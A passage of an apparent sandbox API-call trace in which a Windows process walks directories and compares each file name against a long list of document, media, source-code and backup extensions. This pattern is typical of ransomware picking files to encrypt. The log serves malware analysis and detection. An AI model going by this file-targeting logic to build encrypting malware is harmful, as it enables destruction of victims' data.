ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0087.216] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0087.216] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0087.216] FindClose (in: hFindFile=0x4260810 | out: hFindFile=0x4260810) returned 1 [0087.217] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0087.217] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0087.218] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0087.218] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0087.218] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0087.218] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0087.218] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0087.218] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0087.220] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0087.220] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0087.220] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0087.220] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0087.220] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0087.220] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0087.221] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0087.221] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0087.221] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0087.221] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0087.221] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0087.221] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0087.222] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0087.222] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0087.222] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0087.222] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0087.222] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0087.222] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0087.222] FindClose (in: hFindFile=0x459d20 | out: hFindFile=0x459d20) returned 1 [0087.223] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35b0050 | out: hHeap=0x440000) returned 1 [0087.224] FindNextFileW (in: hFindFile=0x459c20, lpFindFileData=0x2d2fcf8 | out: lpFindFileData=0x2d2fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0087.224] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35b0050 [0087.225] lstrlenW (lpString="C:\\Boot") returned 7 [0087.225] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260590 [0087.226] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0087.628] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0087.629] lstrlenW (lpString="BCD") returned 3 [0087.629] lstrlenW (lpString=".1cd") returned 4 [0087.629] lstrcmpiW (lpString1=".1cd", lpString2="$BCD") returned 1 [0087.629] lstrlenW (lpString=".3ds") returned 4 [0087.629] lstrcmpiW (lpString1=".3ds", lpString2="$BCD") returned 1 [0087.629] lstrlenW (lpString=".3fr") returned 4 [0087.629] lstrcmpiW (lpString1=".3fr", lpString2="$BCD") returned 1 [0087.629] lstrlenW (lpString=".3g2") returned 4 [0087.629] lstrcmpiW (lpString1=".3g2", lpString2="$BCD") returned 1 [0087.629] lstrlenW (lpString=".3gp") returned 4 [0087.629] lstrcmpiW (lpString1=".3gp", lpString2="$BCD") returned 1 [0087.629] lstrlenW (lpString=".7z") returned 3 [0087.629] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0087.629] lstrlenW (lpString=".accda") returned 6 [0087.629] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0087.629] lstrlenW (lpString=".accdb") returned 6 [0087.629] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0087.629] lstrlenW (lpString=".accdc") returned 6 [0087.629] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0087.629] lstrlenW (lpString=".accde") returned 6 [0087.629] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0087.629] lstrlenW (lpString=".accdt") returned 6 [0087.629] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0087.629] lstrlenW (lpString=".accdw") returned 6 [0087.630] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0087.630] lstrlenW (lpString=".adb") returned 4 [0087.630] lstrcmpiW (lpString1=".adb", lpString2="$BCD") returned 1 [0087.630] lstrlenW (lpString=".adp") returned 4 [0087.630] lstrcmpiW (lpString1=".adp", lpString2="$BCD") returned 1 [0087.630] lstrlenW (lpString=".ai") returned 3 [0087.630] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0087.630] lstrlenW (lpString=".ai3") returned 4 [0087.630] lstrcmpiW (lpString1=".ai3", lpString2="$BCD") returned 1 [0087.630] lstrlenW (lpString=".ai4") returned 4 [0087.630] lstrcmpiW (lpString1=".ai4", lpString2="$BCD") returned 1 [0087.630] lstrlenW (lpString=".ai5") returned 4 [0087.630] lstrcmpiW (lpString1=".ai5", lpString2="$BCD") returned 1 [0087.630] lstrlenW (lpString=".ai6") returned 4 [0087.630] lstrcmpiW (lpString1=".ai6", lpString2="$BCD") returned 1 [0087.630] lstrlenW (lpString=".ai7") returned 4 [0087.630] lstrcmpiW (lpString1=".ai7", lpString2="$BCD") returned 1 [0087.630] lstrlenW (lpString=".ai8") returned 4 [0087.630] lstrcmpiW (lpString1=".ai8", lpString2="$BCD") returned 1 [0087.630] lstrlenW (lpString=".anim") returned 5 [0087.630] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0087.630] lstrlenW (lpString=".arw") returned 4 [0087.630] lstrcmpiW (lpString1=".arw", lpString2="$BCD") returned 1 [0087.630] lstrlenW (lpString=".as") returned 3 [0087.630] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0087.630] lstrlenW (lpString=".asa") returned 4 [0087.631] lstrcmpiW (lpString1=".asa", lpString2="$BCD") returned 1 [0087.631] lstrlenW (lpString=".asc") returned 4 [0087.631] lstrcmpiW (lpString1=".asc", lpString2="$BCD") returned 1 [0087.631] lstrlenW (lpString=".ascx") returned 5 [0087.631] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0087.631] lstrlenW (lpString=".asm") returned 4 [0087.631] lstrcmpiW (lpString1=".asm", lpString2="$BCD") returned 1 [0087.631] lstrlenW (lpString=".asmx") returned 5 [0087.631] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0087.631] lstrlenW (lpString=".asp") returned 4 [0087.631] lstrcmpiW (lpString1=".asp", lpString2="$BCD") returned 1 [0087.631] lstrlenW (lpString=".aspx") returned 5 [0087.631] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0087.631] lstrlenW (lpString=".asr") returned 4 [0087.631] lstrcmpiW (lpString1=".asr", lpString2="$BCD") returned 1 [0087.631] lstrlenW (lpString=".asx") returned 4 [0087.631] lstrcmpiW (lpString1=".asx", lpString2="$BCD") returned 1 [0087.631] lstrlenW (lpString=".avi") returned 4 [0087.632] lstrcmpiW (lpString1=".avi", lpString2="$BCD") returned 1 [0087.632] lstrlenW (lpString=".avs") returned 4 [0087.632] lstrcmpiW (lpString1=".avs", lpString2="$BCD") returned 1 [0087.632] lstrlenW (lpString=".backup") returned 7 [0087.632] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0087.632] lstrlenW (lpString=".bak") returned 4 [0087.632] lstrcmpiW (lpString1=".bak", lpString2="$BCD") returned 1 [0087.632] lstrlenW (lpString=".bay") returned 4 [0087.632] lstrcmpiW (lpString1=".bay", lpString2="$BCD") returned 1 [0087.632] lstrlenW (lpString=".bd") returned 3 [0087.632] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0087.632] lstrlenW (lpString=".bin") returned 4 [0087.632] lstrcmpiW (lpString1=".bin", lpString2="$BCD") returned 1 [0087.632] lstrlenW (lpString=".bmp") returned 4 [0087.632] lstrcmpiW (lpString1=".bmp", lpString2="$BCD") returned 1 [0087.632] lstrlenW (lpString=".bz2") returned 4 [0087.632] lstrcmpiW (lpString1=".bz2", lpString2="$BCD") returned 1 [0087.632] lstrlenW (lpString=".c") returned 2 [0087.633] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0087.633] lstrlenW (lpString=".cdr") returned 4 [0087.633] lstrcmpiW (lpString1=".cdr", lpString2="$BCD") returned 1 [0087.633] lstrlenW (lpString=".cer") returned 4 [0087.633] lstrcmpiW (lpString1=".cer", lpString2="$BCD") returned 1 [0087.633] lstrlenW (lpString=".cf") returned 3 [0087.633] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0087.633] lstrlenW (lpString=".cfc") returned 4 [0087.633] lstrcmpiW (lpString1=".cfc", lpString2="$BCD") returned 1 [0087.633] lstrlenW (lpString=".cfm") returned 4 [0087.633] lstrcmpiW (lpString1=".cfm", lpString2="$BCD") returned 1 [0087.633] lstrlenW (lpString=".cfml") returned 5 [0087.633] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0087.633] lstrlenW (lpString=".cfu") returned 4 [0087.633] lstrcmpiW (lpString1=".cfu", lpString2="$BCD") returned 1 [0087.633] lstrlenW (lpString=".chm") returned 4 [0087.633] lstrcmpiW (lpString1=".chm", lpString2="$BCD") returned 1 [0087.633] lstrlenW (lpString=".cin") returned 4 [0087.633] lstrcmpiW (lpString1=".cin", lpString2="$BCD") returned 1 [0087.633] lstrlenW (lpString=".class") returned 6 [0087.633] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0087.633] lstrlenW (lpString=".clx") returned 4 [0087.633] lstrcmpiW (lpString1=".clx", lpString2="$BCD") returned 1 [0087.633] lstrlenW (lpString=".config") returned 7 [0087.633] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0087.634] lstrlenW (lpString=".cpp") returned 4 [0087.634] lstrcmpiW (lpString1=".cpp", lpString2="$BCD") returned 1 [0087.634] lstrlenW (lpString=".cr2") returned 4 [0087.634] lstrcmpiW (lpString1=".cr2", lpString2="$BCD") returned 1 [0087.634] lstrlenW (lpString=".crt") returned 4 [0087.634] lstrcmpiW (lpString1=".crt", lpString2="$BCD") returned 1 [0087.634] lstrlenW (lpString=".crw") returned 4 [0087.634] lstrcmpiW (lpString1=".crw", lpString2="$BCD") returned 1 [0087.634] lstrlenW (lpString=".cs") returned 3 [0087.634] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0087.634] lstrlenW (lpString=".css") returned 4 [0087.634] lstrcmpiW (lpString1=".css", lpString2="$BCD") returned 1 [0087.634] lstrlenW (lpString=".csv") returned 4 [0087.634] lstrcmpiW (lpString1=".csv", lpString2="$BCD") returned 1 [0087.634] lstrlenW (lpString=".cub") returned 4 [0087.634] lstrcmpiW (lpString1=".cub", lpString2="$BCD") returned 1 [0087.634] lstrlenW (lpString=".dae") returned 4 [0087.634] lstrcmpiW (lpString1=".dae", lpString2="$BCD") returned 1 [0087.634] lstrlenW 